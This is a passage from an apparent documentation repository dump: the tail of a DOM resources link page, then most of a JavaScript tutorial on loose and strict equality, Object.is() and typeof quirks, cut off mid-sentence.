comments.\n  </Card>\n  <Card title=\"NodeList Interface — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/NodeList\">\n    Collections of nodes returned by querySelectorAll and other methods.\n  </Card>\n  <Card title=\"HTMLCollection Interface — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/HTMLCollection\">\n    Live collections of elements returned by getElementsByClassName and similar.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Eloquent JavaScript: The Document Object Model\" icon=\"book\" href=\"https://eloquentjavascript.net/14_dom.html\">\n    A free book chapter with runnable code examples you can edit right in the browser. Includes exercises at the end to test your understanding.\n  </Card>\n  <Card title=\"How To Understand and Modify the DOM in JavaScript\" icon=\"newspaper\" href=\"https://www.digitalocean.com/community/tutorials/introduction-to-the-dom\">\n    Tania Rascia walks through each concept with side-by-side HTML and JavaScript examples. Great for visual learners who want to see code and results together.\n  </Card>\n  <Card title=\"What's the Document Object Model, and why you should know how to use it\" icon=\"newspaper\" href=\"https://medium.freecodecamp.org/whats-the-document-object-model-and-why-you-should-know-how-to-use-it-1a2d0bc5429d\">\n    Builds a simple project while explaining DOM concepts. Good if you learn better by building something rather than reading theory.\n  </Card>\n  <Card title=\"What is the DOM?\" icon=\"newspaper\" href=\"https://css-tricks.com/dom/\">\n    Short read that clears up the \"DOM vs HTML source\" confusion with visual examples. Explains why DevTools shows something different from View Source.\n  </Card>\n  <Card title=\"Traversing the DOM with JavaScript\" icon=\"newspaper\" href=\"https://zellwk.com/blog/dom-traversals/\">\n    Zell explains the difference between Node and Element traversal methods with clear diagrams. Includes the \"whitespace text node\" gotcha that trips up beginners.\n  </Card>\n  <Card title=\"DOM Tree\" icon=\"newspaper\" href=\"https://javascript.info/dom-nodes\">\n    Interactive examples you can edit and run in the browser. Part of a larger DOM tutorial series if you want to keep going deeper.\n  </Card>\n  <Card title=\"How to traverse the DOM in JavaScript\" icon=\"newspaper\" href=\"https://medium.com/javascript-in-plain-english/how-to-traverse-the-dom-in-javascript-d6555c335b4e\">\n    Covers every traversal method with console output screenshots. Useful reference when you forget which property to use for siblings vs children.\n  </Card>\n  <Card title=\"Render Tree Construction\" icon=\"newspaper\" href=\"https://web.dev/articles/critical-rendering-path/render-tree-construction\">\n    Google's official explanation of the Critical Rendering Path. Essential reading if you want to understand why some DOM operations are slow.\n  </Card>\n  <Card title=\"What, exactly, is the DOM?\" icon=\"newspaper\" href=\"https://bitsofco.de/what-exactly-is-the-dom/\">\n    Compares DOM vs HTML source vs Render Tree side by side with diagrams. Clears up the confusion about what DevTools actually shows you.\n  </Card>\n  <Card title=\"JavaScript DOM Tutorial\" icon=\"newspaper\" href=\"https://www.javascripttutorial.net/javascript-dom/\">\n    A multi-part tutorial organized by topic, so you can jump to exactly what you need. Each page is self-contained with try-it-yourself examples.\n  </Card>\n  <Card title=\"Event Propagation — MDN\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events\">\n    MDN's guide to event handling including bubbling, capturing, and delegation patterns.\n  </Card>\n  <Card title=\"Bubbling and Capturing\" icon=\"newspaper\" href=\"https://javascript.info/bubbling-and-capturing\">\n    Animated diagrams showing events traveling up and down the DOM tree. Makes the three-phase model (capture, target, bubble) easy to visualize.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript DOM Manipulation – Full Course for Beginners\" icon=\"graduation-cap\" href=\"https://www.youtube.com/watch?v=5fb2aPlgoys\">\n    A 2-hour freeCodeCamp course that builds multiple projects while teaching DOM concepts. Good if you want structured learning from zero to comfortable.\n  </Card>\n  <Card title=\"JavaScript DOM Tutorial\" icon=\"video\" href=\"https://www.youtube.com/watch?v=FIORjGvT0kk\">\n    A playlist of short, focused videos (5-10 min each). Pick the topic you need instead of watching everything in order.\n  </Card>\n  <Card title=\"JavaScript DOM Crash Course\" icon=\"video\" href=\"https://www.youtube.com/watch?v=0ik6X4DJKCc\">\n    Brad Traversy's 4-part series (this is part 1). Builds a task list project by the end, so you see DOM skills applied to something real.\n  </Card>\n  <Card title=\"JavaScript DOM Manipulation Methods\" icon=\"video\" href=\"https://www.youtube.com/watch?v=y17RuWkWdn8\">\n    Web Dev Simplified explains createElement, appendChild, and other manipulation methods.\n  </Card>\n  <Card title=\"JavaScript DOM Traversal Methods\" icon=\"video\" href=\"https://www.youtube.com/watch?v=v7rSSy8CaYE\">\n    Web Dev Simplified covers parent, child, and sibling traversal methods.\n  </Card>\n  <Card title=\"Event Propagation - JavaScript Event Bubbling and Propagation\" icon=\"video\" href=\"https://www.youtube.com/watch?v=JYc7gr9Ehl0\">\n    Steve Griffith explains event bubbling, capturing, and how to control event flow.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/equality-operators.mdx",
    "content": "---\ntitle: \"Equality: == vs ===\"\nsidebarTitle: \"Equality Operators: == vs === Type Checking\"\ndescription: \"Learn JavaScript equality: == vs ===, typeof quirks, and Object.is(). Understand type coercion and why NaN !== NaN.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"JavaScript Fundamentals\"\n\"article:tag\": \"javascript equality, == vs ===, strict equality, loose equality, Object.is javascript, NaN comparison\"\n---\n\nWhy does `1 == \"1\"` return `true` but `1 === \"1\"` return `false`? Why does `typeof null` return `\"object\"`? And why is `NaN` the only value in JavaScript that isn't equal to itself?\n\n```javascript\n// Same values, different results\nconsole.log(1 == \"1\");   // true  — loose equality converts types\nconsole.log(1 === \"1\");  // false — strict equality checks type first\n\n// The famous quirks\nconsole.log(typeof null);  // \"object\" — a bug from 1995!\nconsole.log(NaN === NaN);  // false — NaN never equals anything\n```\n\nUnderstanding JavaScript's **[equality operators](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality)** is crucial because comparison bugs are among the most common in JavaScript code. According to the ECMAScript specification (ECMA-262), JavaScript defines three distinct equality algorithms: Abstract Equality, Strict Equality, and SameValue. This guide will teach you exactly how `==`, **[`===`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality)**, and **[`Object.is()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is)** work, and when to use each one.\n\n<Info>\n**What you'll learn in this guide:**\n- The difference between `==` (loose) and `===` (strict) equality\n- How JavaScript converts values during loose equality comparisons\n- The **[`typeof`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)** operator and its famous quirks (including the `null` bug)\n- When to use `Object.is()` for edge cases like `NaN` and `-0`\n- Common comparison mistakes and how to avoid them\n- A simple rule: when to use which operator\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Primitive Types](/concepts/primitive-types) and [Type Coercion](/concepts/type-coercion). Equality operators rely heavily on how JavaScript converts types. If those concepts are new to you, read those guides first!\n</Warning>\n\n---\n\n## The Three Equality Operators: Overview\n\nJavaScript provides three ways to compare values for equality. Here's the quick summary:\n\n| Operator | Name | Type Coercion | Best For |\n|----------|------|---------------|----------|\n| `==` | Loose (Abstract) Equality | Yes | Checking `null`/`undefined` only |\n| `===` | Strict Equality | No | **Default choice for everything** |\n| `Object.is()` | Same-Value Equality | No | Edge cases (`NaN`, `±0`) |\n\n```javascript\n// The same comparison, three different results\nconst num = 1;\nconst str = \"1\";\n\nconsole.log(num == str);           // true  (coerces string to number)\nconsole.log(num === str);          // false (different types)\nconsole.log(Object.is(num, str));  // false (different types)\n```\n\n<Note>\n**The simple rule:** Always use `===` for comparisons. The only exception: use `== null` to check if a value is empty (null or undefined). You'll rarely need `Object.is()`. It's for special cases we'll cover later.\n</Note>\n\n---\n\n## The Teacher Grading Papers: A Real-World Analogy\n\nImagine a teacher grading a math test. The question asks: \"What is 2 + 2?\"\n\nOne student writes: `4`  \nAnother student writes: `\"4\"` (as text)  \nA third student writes: `4.0`\n\nHow strict should the teacher be when grading?\n\n```\n        RELAXED GRADING (==)                  STRICT GRADING (===)\n      \"Is the answer correct?\"              \"Is it exactly right?\"\n    \n    ┌─────────────┐   ┌─────────────┐    ┌─────────────┐   ┌─────────────┐\n    │      4      │ = │    \"4\"      │    │      4      │ ≠ │    \"4\"      │\n    │  (number)   │   │  (string)   │    │  (number)   │   │  (string)   │\n    └─────────────┘   └─────────────┘    └─────────────┘   └─────────────┘\n          │                 │                  │                 │\n          └────────┬────────┘                  └────────┬────────┘\n                   ▼                                    ▼\n          \"Close enough!\" ✓                    \"Different types!\" ✗\n```\n\nJavaScript gives you both types of teachers:\n\n- **Loose equality (`==`)** — The relaxed teacher. Accepts `4` and `\"4\"` as the same answer because the *meaning* is similar. Converts values to match before comparing.\n- **Strict equality (`===`)** — The strict teacher. Only accepts the *exact* answer in the *exact* format. The number `4` and the string `\"4\"` are different answers.\n- **`typeof`** — Asks \"What kind of answer is this?\" Is it a number? A string? Something else?\n- **`Object.is()`** — The most precise teacher. Even stricter than `===` — can spot tiny differences that others miss.\n\n<Tip>\n**TL;DR:** Use `===` for almost everything. Use `== null` to check for both `null` and `undefined`. Use `Object.is()` only for `NaN` or `-0` edge cases.\n</Tip>\n\n---\n\n## Loose Equality (`==`): The Relaxed Comparison\n\nThe **[`==` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality)** tries to be helpful. Before comparing two values, it converts them to the same type. This automatic conversion is called **[type coercion](/concepts/type-coercion)**.\n\nFor example, if you compare the number `5` with the string `\"5\"`, JavaScript thinks: \"These look similar. Let me convert them and check.\" So `5 == \"5\"` returns `true`.\n\n### How It Works\n\nWhen you write `x == y`, JavaScript asks:\n\n1. Are `x` and `y` the same type? → Compare them directly\n2. Are they different types? → Convert one or both to match, then compare\n\nThis automatic conversion can be helpful, but it can also cause unexpected results.\n\n### The Abstract Equality Comparison Algorithm\n\nHere's the complete algorithm from the ECMAScript specification. When comparing `x == y`:\n\n<Steps>\n  <Step title=\"Same Type?\">\n    If `x` and `y` are the same type, perform strict equality comparison (`===`).\n    \n    ```javascript\n    5 == 5           // Same type (number), compare directly → true\n    \"hello\" == \"hello\"  // Same type (string), compare directly → true\n    ```\n  </Step>\n  \n  <Step title=\"null and undefined\">\n    If `x` is **[`null`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/null)** and `y` is **[`undefined`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)** (or vice versa), return `true`.\n    \n    ```javascript\n    null == undefined    // true (special case!)\n    undefined == null    // true\n    ```\n  </Step>\n  \n  <Step title=\"Number and String\">\n    If one is a Number and the other is a String, convert the String to a Number.\n    \n    ```javascript\n    5 == \"5\"    // \"5\" → 5, then 5 == 5 → true\n    0 == \"\"     // \"\" → 0, then 0 == 0 → true\n    42 == \"42\"  // \"42\" → 42, then 42 == 42 → true\n    ```\n  </Step>\n  \n  <Step title=\"BigInt and String\">\n    If one is a **[BigInt](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt)** and the other is a String, convert the String to a BigInt.\n    \n    ```javascript\n    10n == \"10\"   // \"10\" → 10n, then 10n == 10n → true\n    ```\n  </Step>\n  \n  <Step title=\"Boolean Conversion\">\n    If either value is a Boolean, convert it to a Number (`true` → `1`, `false` → `0`).\n    \n    ```javascript\n    true == 1     // true → 1, then 1 == 1 → true\n    false == 0    // false → 0, then 0 == 0 → true\n    true == \"1\"   // true → 1, then 1 == \"1\" → 1 == 1 → true\n    ```\n  </Step>\n  \n  <Step title=\"Object to Primitive\">\n    If one is an Object and the other is a String, Number, BigInt, or **[Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)**, convert the Object to a primitive using **[`ToPrimitive`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/toPrimitive)**.\n    \n    ```javascript\n    [1] == 1       // [1] → \"1\" → 1, then 1 == 1 → true\n    [\"\"] == 0      // [\"\"] → \"\" → 0, then 0 == 0 → true\n    ```\n  </Step>\n  \n  <Step title=\"BigInt and Number\">\n    If one is a BigInt and the other is a Number, compare their mathematical values.\n    \n    ```javascript\n    10n == 10      // Compare values: 10 == 10 → true\n    10n == 10.5    // 10 !== 10.5 → false\n    ```\n  </Step>\n  \n  <Step title=\"No Match\">\n    If none of the above rules apply, return `false`.\n    \n    ```javascript\n    null == 0             // false (null only equals undefined)\n    undefined == 0        // false\n    Symbol() == Symbol()  // false (Symbols are always unique)\n    ```\n  </Step>\n</Steps>\n\n### Visual: The Coercion Decision Tree\n\n```\n                              x == y\n                                 │\n                    ┌────────────┴────────────┐\n                    ▼                         ▼\n               Same type?                Different types?\n                    │                         │\n                   YES                       YES\n                    │                         │\n                    ▼                         ▼\n            Compare values           ┌────────┴────────┐\n            (like ===)               │                 │\n                                     ▼                 ▼\n                              null == undefined?   Apply coercion\n                                     │              rules above\n                                    YES                 │\n                                     │                  ▼\n                                     ▼             Convert types\n                                   true            then compare\n                                                     again\n```\n\n### The Complete Coercion Rules Table\n\n| Type of x | Type of y | Coercion Applied |\n|-----------|-----------|------------------|\n| Number | String | `ToNumber(y)` — String becomes Number |\n| String | Number | `ToNumber(x)` — String becomes Number |\n| BigInt | String | `ToBigInt(y)` — String becomes BigInt |\n| String | BigInt | `ToBigInt(x)` — String becomes BigInt |\n| Boolean | Any | `ToNumber(x)` — Boolean becomes Number (0 or 1) |\n| Any | Boolean | `ToNumber(y)` — Boolean becomes Number (0 or 1) |\n| Object | String/Number/BigInt/Symbol | `ToPrimitive(x)` — Object becomes primitive |\n| String/Number/BigInt/Symbol | Object | `ToPrimitive(y)` — Object becomes primitive |\n| BigInt | Number | Compare mathematical values directly |\n| Number | BigInt | Compare mathematical values directly |\n| null | undefined | `true` (special case) |\n| undefined | null | `true` (special case) |\n| null | Any (except undefined) | `false` |\n| undefined | Any (except null) | `false` |\n\n### Surprising Results Gallery\n\nHere are some comparison results that surprise most developers. Understanding *why* these happen will help you avoid bugs in your code:\n\n<Tabs>\n  <Tab title=\"String & Number\">\n    ```javascript\n    // String converted to Number\n    1 == \"1\"              // true  (\"1\" → 1)\n    0 == \"\"               // true  (\"\" → 0)\n    0 == \"0\"              // true  (\"0\" → 0)\n    100 == \"1e2\"          // true  (\"1e2\" → 100)\n    \n    // But string-to-string is direct comparison\n    \"\" == \"0\"             // false (both strings, different values)\n    \n    // NaN conversions (NaN is \"Not a Number\")\n    NaN == \"NaN\"          // false (NaN ≠ anything, including itself)\n    0 == \"hello\"          // false (\"hello\" → NaN, 0 ≠ NaN)\n    ```\n  </Tab>\n  \n  <Tab title=\"Boolean Coercion\">\n    ```javascript\n    // Booleans become 0 or 1 FIRST\n    true == 1             // true  (true → 1)\n    false == 0            // true  (false → 0)\n    true == \"1\"           // true  (true → 1, \"1\" → 1)\n    false == \"\"           // true  (false → 0, \"\" → 0)\n    \n    // This is why these are confusing:\n    true == \"true\"        // false! (true → 1, \"true\" → NaN)\n    false == \"false\"      // false! (false → 0, \"false\" → NaN)\n    \n    // And these seem wrong:\n    true == 2             // false (true → 1, 1 ≠ 2)\n    true == \"2\"           // false (true → 1, \"2\" → 2, 1 ≠ 2)\n    ```\n    \n    <Warning>\n    **Common trap:** `true == \"true\"` is `false`! The boolean `true` becomes `1`, and the string `\"true\"` becomes `NaN`. Since `1 ≠ NaN`, the result is `false`.\n    </Warning>\n  </Tab>\n  \n  <Tab title=\"null & undefined\">\n    ```javascript\n    // The special relationship\n    null == undefined     // true  (special rule!)\n    undefined == null     // true\n    \n    // But they don't equal anything else\n    null == 0             // false\n    null == false         // false\n    null == \"\"            // false\n    undefined == 0        // false\n    undefined == false    // false\n    undefined == \"\"       // false\n    \n    // This is actually useful!\n    let value = null;\n    if (value == null) {\n      // Catches both null AND undefined\n      console.log(\"Value is nullish\");\n    }\n    ```\n    \n    <Tip>\n    This is the ONE legitimate use case for `==`. Using `value == null` checks for both `null` and `undefined` in a single comparison.\n    </Tip>\n  </Tab>\n  \n  <Tab title=\"Arrays & Objects\">\n    ```javascript\n    // Arrays convert via ToPrimitive (usually toString)\n    [] == false           // true  ([] → \"\" → 0, false → 0)\n    [] == 0               // true  ([] → \"\" → 0)\n    [] == \"\"              // true  ([] → \"\")\n    [1] == 1              // true  ([1] → \"1\" → 1)\n    [1] == \"1\"            // true  ([1] → \"1\")\n    [1,2] == \"1,2\"        // true  ([1,2] → \"1,2\")\n    \n    // Empty array gotcha\n    [] == ![]             // true! (see explanation below)\n    \n    // Objects with valueOf/toString\n    let obj = { valueOf: () => 42 };\n    obj == 42             // true  (obj.valueOf() → 42)\n    ```\n  </Tab>\n</Tabs>\n\n### Step-by-Step Trace: `[] == ![]`\n\nThis is one of JavaScript's most surprising results. An empty array `[]` equals `![]`? Let's break down why this happens step by step:\n\n<Steps>\n  <Step title=\"Evaluate ![]\">\n    First, JavaScript evaluates `![]`.\n    - `[]` is truthy (all objects are truthy)\n    - `![]` therefore equals `false`\n    - Now we have: `[] == false`\n  </Step>\n  \n  <Step title=\"Boolean to Number\">\n    One side is a Boolean, so convert it to a Number.\n    - `false` → `0`\n    - Now we have: `[] == 0`\n  </Step>\n  \n  <Step title=\"Object to Primitive\">\n    One side is an Object, so convert it via ToPrimitive.\n    - `[]` → `\"\"` (empty array's toString returns empty string)\n    - Now we have: `\"\" == 0`\n  </Step>\n  \n  <Step title=\"String to Number\">\n    One side is a String and one is a Number, so convert the String.\n    - `\"\"` → `0` (empty string becomes 0)\n    - Now we have: `0 == 0`\n  </Step>\n  \n  <Step title=\"Final Comparison\">\n    Both sides are Numbers with the same value.\n    - `0 == 0` → `true`\n  </Step>\n</Steps>\n\n```javascript\n// The chain of conversions:\n[] == ![]\n[] == false      // ![] → false\n[] == 0          // false → 0\n\"\" == 0          // [] → \"\"\n0 == 0           // \"\" → 0\ntrue             // 0 equals 0!\n```\n\n<Warning>\nThis example shows why `==` can produce unexpected results. An empty array appears to equal its own negation! This isn't a bug. It's how JavaScript's conversion rules work. This is why most developers prefer `===`.\n</Warning>\n\n### When `==` Might Be Useful\n\nDespite its quirks, there's one legitimate use case for loose equality:\n\n```javascript\n// Checking for null OR undefined in one comparison\nfunction greet(name) {\n  // Using == (the one acceptable use case!)\n  if (name == null) {\n    return \"Hello, stranger!\";\n  }\n  return `Hello, ${name}!`;\n}\n\n// Both null and undefined are caught\ngreet(null);       // \"Hello, stranger!\"\ngreet(undefined);  // \"Hello, stranger!\"\ngreet(\"Alice\");    // \"Hello, Alice!\"\ngreet(\"\");         // \"Hello, !\"  (empty string is NOT null)\ngreet(0);          // \"Hello, 0!\" (0 is NOT null)\n```\n\nThis is equivalent to the more verbose:\n```javascript\nfunction greet(name) {\n  if (name === null || name === undefined) {\n    return \"Hello, stranger!\";\n  }\n  return `Hello, ${name}!`;\n}\n```\n\n<Tip>\nMany style guides (including those from Airbnb and StandardJS) make an exception for `value == null` because it's a clean way to check for \"nullish\" values. However, you can also use the nullish coalescing operator (`??`) or optional chaining (`?.`) introduced in ES2020.\n</Tip>\n\n---\n\n## Strict Equality (`===`): The Reliable Choice\n\nThe strict equality operator compares two values **without** any conversion. If the types are different, it immediately returns `false`.\n\nThis is the operator you should use almost always. It's simple and predictable: the number `1` and the string `\"1\"` are different types, so `1 === \"1\"` returns `false`. No surprises.\n\n### How It Works\n\nWhen you write `x === y`, JavaScript asks:\n\n1. Are `x` and `y` the same type? No → return `false`\n2. Same type? → Compare their values\n\nThat's it. No conversions, no surprises (well, *almost*. There's one special case with **[`NaN`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)**).\n\n### The Strict Equality Comparison Algorithm\n\n<Steps>\n  <Step title=\"Type Check\">\n    If `x` and `y` are different types, return `false` immediately.\n    \n    ```javascript\n    1 === \"1\"         // false (number vs string)\n    true === 1        // false (boolean vs number)\n    null === undefined // false (null vs undefined)\n    ```\n  </Step>\n  \n  <Step title=\"Number Comparison\">\n    If both are Numbers:\n    - If either is `NaN`, return `false`\n    - If both are the same numeric value, return `true`\n    - `+0` and `-0` are considered equal\n    \n    ```javascript\n    42 === 42         // true\n    NaN === NaN       // false (!)\n    +0 === -0         // true\n    Infinity === Infinity  // true\n    ```\n  </Step>\n  \n  <Step title=\"String Comparison\">\n    If both are Strings, return `true` if they have the same characters in the same order.\n    \n    ```javascript\n    \"hello\" === \"hello\"   // true\n    \"hello\" === \"Hello\"   // false (case sensitive)\n    \"hello\" === \"hello \"  // false (different length)\n    ```\n  </Step>\n  \n  <Step title=\"Boolean Comparison\">\n    If both are Booleans, return `true` if they're both `true` or both `false`.\n    \n    ```javascript\n    true === true     // true\n    false === false   // true\n    true === false    // false\n    ```\n  </Step>\n  \n  <Step title=\"BigInt Comparison\">\n    If both are BigInts, return `true` if they have the same mathematical value.\n    \n    ```javascript\n    10n === 10n       // true\n    10n === 20n       // false\n    ```\n  </Step>\n  \n  <Step title=\"Symbol Comparison\">\n    If both are Symbols, return `true` only if they are the exact same Symbol.\n    \n    ```javascript\n    const sym = Symbol(\"id\");\n    sym === sym               // true\n    Symbol(\"id\") === Symbol(\"id\")  // false (different symbols!)\n    ```\n  </Step>\n  \n  <Step title=\"Object Comparison (Reference)\">\n    If both are Objects (including Arrays and Functions), return `true` only if they are the **same object** (same reference in memory).\n    \n    ```javascript\n    const obj = { a: 1 };\n    obj === obj       // true (same reference)\n    { a: 1 } === { a: 1 }  // false (different objects!)\n    [] === []         // false (different arrays!)\n    ```\n  </Step>\n  \n  <Step title=\"null and undefined\">\n    `null === null` returns `true`. `undefined === undefined` returns `true`. But `null === undefined` returns `false` (different types).\n    \n    ```javascript\n    null === null           // true\n    undefined === undefined // true\n    null === undefined      // false\n    ```\n  </Step>\n</Steps>\n\n### Visual: Strict Equality Flowchart\n\n```\n                           x === y\n                              │\n              ┌───────────────┴───────────────┐\n              │          Same type?           │\n              └───────────────┬───────────────┘\n                     │                 │\n                    NO                YES\n                     │                 │\n                     ▼                 ▼\n                  false          Both NaN?\n                                      │\n                              ┌───────┴───────┐\n                             YES              NO\n                              │               │\n                              ▼               ▼\n                           false        Same value?\n                     (NaN never equals         │\n                        anything!)     ┌───────┴───────┐\n                                      YES              NO\n                                       │               │\n                                       ▼               ▼\n                                     true           false\n```\n\n### The Predictable Results\n\nWith `===`, what you see is what you get:\n\n```javascript\n// All of these are false (different types)\n1 === \"1\"              // false\n0 === \"\"               // false\ntrue === 1             // false\nfalse === 0            // false\nnull === undefined     // false\n[] === \"\"              // false\n\n// All of these are true (same type, same value)\n1 === 1                // true\n\"hello\" === \"hello\"    // true\ntrue === true          // true\nnull === null          // true\nundefined === undefined // true\n```\n\n### Special Cases: Two Exceptions to Know\n\nEven `===` has two edge cases that might surprise you:\n\n<Tabs>\n  <Tab title=\"NaN !== NaN\">\n    ```javascript\n    // NaN is the only value that is not equal to itself\n    NaN === NaN           // false!\n    \n    // NaN doesn't equal anything, not even itself!\n    // This is part of how numbers work in all programming languages\n    \n    // This is by design (IEEE 754 specification)\n    // NaN represents \"Not a Number\" - an undefined result\n    // Since it's not a specific number, it can't equal anything\n    \n    // How to check for NaN:\n    Number.isNaN(NaN)     // true (recommended)\n    isNaN(NaN)            // true (but has quirks — see below)\n    Object.is(NaN, NaN)   // true (ES6)\n    \n    // The isNaN() quirk:\n    isNaN(\"hello\")        // true! (converts to NaN first)\n    Number.isNaN(\"hello\") // false (no conversion)\n    ```\n    \n    <Warning>\n    Always use **[`Number.isNaN()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/isNaN)** instead of the global `isNaN()`. The global `isNaN()` function converts its argument to a Number first, which means `isNaN(\"hello\")` returns `true`. That's rarely what you want.\n    </Warning>\n  </Tab>\n  \n  <Tab title=\"+0 === -0\">\n    ```javascript\n    // Positive zero and negative zero are considered equal\n    +0 === -0             // true\n    -0 === 0              // true\n    \n    // But they ARE different! Watch this:\n    1 / +0                // Infinity\n    1 / -0                // -Infinity\n    \n    // Two zeros, two different infinities. Math is wild.\n    \n    // How to distinguish them:\n    Object.is(+0, -0)     // false (ES6)\n    1 / +0 === 1 / -0     // false (Infinity vs -Infinity)\n    \n    // When does -0 appear?\n    0 * -1                // -0\n    Math.sign(-0)         // -0\n    JSON.parse(\"-0\")      // -0\n    ```\n    \n    You'll rarely need to tell `+0` and `-0` apart unless you're doing advanced math or physics calculations.\n  </Tab>\n</Tabs>\n\n### Object Comparison: Reference vs Value\n\nThis is one of the most important concepts to understand:\n\n```javascript\n// Objects are compared by REFERENCE, not by value\nconst obj1 = { name: \"Alice\" };\nconst obj2 = { name: \"Alice\" };\nconst obj3 = obj1;\n\nobj1 === obj2    // false (different objects in memory)\nobj1 === obj3    // true  (same reference)\n\n// Same with arrays\nconst arr1 = [1, 2, 3];\nconst arr2 = [1, 2, 3];\nconst arr3 = arr1;\n\narr1 === arr2    // false (different arrays)\narr1 === arr3    // true  (same reference)\n\n// And functions\nconst fn1 = () => {};\nconst fn2 = () => {};\nconst fn3 = fn1;\n\nfn1 === fn2      // false (different functions)\nfn1 === fn3      // true  (same reference)\n```\n\n```\nMEMORY VISUALIZATION:\n\nobj1 ──────┐\n           ├──► { name: \"Alice\" }    (Object A)\nobj3 ──────┘\n\nobj2 ──────────► { name: \"Alice\" }   (Object B)\n\nobj1 === obj3 → true  (both point to Object A)\nobj1 === obj2 → false (different objects, even with same content)\n```\n\n<Tip>\nTo compare objects by their content (deep equality), you need to:\n- Use **[`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify)** for simple objects (has limitations)\n- Write a recursive comparison function\n- Use a library like Lodash's `_.isEqual()`\n</Tip>\n\n---\n\n## `Object.is()`: Same-Value Equality\n\nES6 introduced `Object.is()` to fix the two edge cases where `===` gives unexpected results. As documented by MDN, `Object.is()` implements the \"SameValue\" algorithm from the ECMAScript specification. It works exactly like `===`, but handles `NaN` and `-0` correctly.\n\n### Why It Exists\n\n```javascript\n// The two cases where === is \"wrong\"\nNaN === NaN       // false (but NaN IS NaN!)\n+0 === -0         // true  (but they ARE different!)\n\n// Object.is() fixes both\nObject.is(NaN, NaN)   // true ✓\nObject.is(+0, -0)     // false ✓\n```\n\n### How It Differs from `===`\n\n`Object.is()` behaves exactly like `===` except for these two cases:\n\n| Expression | `===` | `Object.is()` |\n|------------|-------|---------------|\n| `NaN, NaN` | `false` | `true` |\n| `+0, -0` | `true` | `false` |\n| `-0, 0` | `true` | `false` |\n| `1, 1` | `true` | `true` |\n| `\"a\", \"a\"` | `true` | `true` |\n| `null, null` | `true` | `true` |\n| `{}, {}` | `false` | `false` |\n\n### Complete Comparison Table\n\n| Values | `==` | `===` | `Object.is()` |\n|--------|------|-------|---------------|\n| `1, \"1\"` | `true` | `false` | `false` |\n| `0, false` | `true` | `false` | `false` |\n| `null, undefined` | `true` | `false` | `false` |\n| `NaN, NaN` | `false` | `false` | `true` |\n| `+0, -0` | `true` | `true` | `false` |\n| `[], []` | `false` | `false` | `false` |\n| `{}, {}` | `false` | `false` | `false` |\n\n### When to Use `Object.is()`\n\n```javascript\n// 1. Checking for NaN (alternative to Number.isNaN)\nfunction isReallyNaN(value) {\n  return Object.is(value, NaN);\n}\n\n// 2. Distinguishing +0 from -0 (rare, but needed in math/physics)\nfunction isNegativeZero(value) {\n  return Object.is(value, -0);\n}\n\n// 3. Implementing SameValue comparison (like in Map/Set)\n// Maps use SameValueZero (like Object.is but +0 === -0)\nconst map = new Map();\nmap.set(NaN, \"value\");\nmap.get(NaN);  // \"value\" (NaN works as a key!)\n\n// 4. Library code and polyfills\n// When you need exact specification compliance\n```\n\n<Note>\nFor most everyday code, you won't need `Object.is()`. Use `===` as your default, and reach for `Object.is()` only when you specifically need to handle `NaN` or `±0` edge cases.\n</Note>\n\n---\n\n## The `typeof` Operator\n\nThe **[`typeof` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)** tells you what type a value is. It returns a string like `\"number\"`, `\"string\"`, or `\"boolean\"`. The 2023 State of JS survey found that TypeScript adoption continues to grow — partly driven by developers seeking to avoid the type-checking pitfalls that `typeof` alone cannot solve. It's very useful, but it has some famous quirks that surprise many developers.\n\n### How It Works\n\n```javascript\ntypeof operand\ntypeof(operand)  // Both forms are valid\n```\n\n### Complete Results Table\n\n| Value | `typeof` Result | Notes |\n|-------|-----------------|-------|\n| `\"hello\"` | `\"string\"` | |\n| `42` | `\"number\"` | Includes `Infinity`, `NaN` |\n| `42n` | `\"bigint\"` | ES2020 |\n| `true` / `false` | `\"boolean\"` | |\n| `undefined` | `\"undefined\"` | |\n| `Symbol()` | `\"symbol\"` | ES6 |\n| `null` | `\"object\"` | **Famous bug!** |\n| `{}` | `\"object\"` | |\n| `[]` | `\"object\"` | Arrays are objects |\n| `function(){}` | `\"function\"` | Special case |\n| `class {}` | `\"function\"` | Classes are functions |\n| `new Date()` | `\"object\"` | |\n| `/regex/` | `\"object\"` | |\n\n### The Famous Quirks\n\n<AccordionGroup>\n  <Accordion title=\"typeof null === 'object' — A Famous Bug\">\n    ```javascript\n    typeof null    // \"object\" — Wait, what?!\n    ```\n    \n    **Why?** This is a bug from JavaScript's first version in 1995. In the original code, values were stored with a type tag. Objects had the tag `000`, and `null` was represented as `0x00`, which also matched the object tag.\n    \n    **Why wasn't it fixed?** Too much existing code depends on this behavior. Changing it now would break millions of websites. So we have to work around it.\n    \n    **Workaround:**\n    ```javascript\n    // Always check for null explicitly\n    function getType(value) {\n      if (value === null) return \"null\";\n      return typeof value;\n    }\n    \n    // Or check for \"real\" objects\n    if (value !== null && typeof value 